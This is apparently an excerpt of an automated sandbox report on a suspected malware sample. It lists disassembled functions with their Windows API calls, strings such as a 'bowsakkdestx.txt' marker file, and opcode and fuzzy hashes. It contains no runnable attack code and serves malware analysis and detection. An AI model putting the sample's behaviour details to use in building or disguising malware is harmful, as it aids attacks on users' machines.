Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
